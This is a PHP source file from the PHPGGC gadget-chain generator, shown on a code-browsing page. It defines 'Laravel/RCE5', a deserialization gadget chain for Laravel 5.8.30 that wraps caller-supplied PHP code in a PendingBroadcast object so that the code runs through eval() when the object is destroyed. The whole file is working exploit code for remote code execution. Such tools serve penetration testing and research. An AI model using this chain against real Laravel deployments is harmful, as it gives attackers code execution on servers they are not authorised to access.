Codebase list phpggc / 9a88393 gadgetchains / Laravel / RCE / 5 / chain.php
9a88393

Tree @9a88393 (Download .tar.gz)

chain.php @9a88393raw · history · blame

<?php

namespace GadgetChain\Laravel;

class RCE5 extends \PHPGGC\GadgetChain\RCE\PHPCode
{
    public static $version = '5.8.30';
    public static $vector = '__destruct';
    public static $author = 'Phith0n';
    public static $information = '
        Executes given PHP code through eval().
        Requires Mockery, which is in the require-dev package. 
    ';

    public function generate(array $parameters)
    {
        $code = '<?php ' . $parameters['code'] . ' exit; ?>';
        return new \Illuminate\Broadcasting\PendingBroadcast($code);
    }
}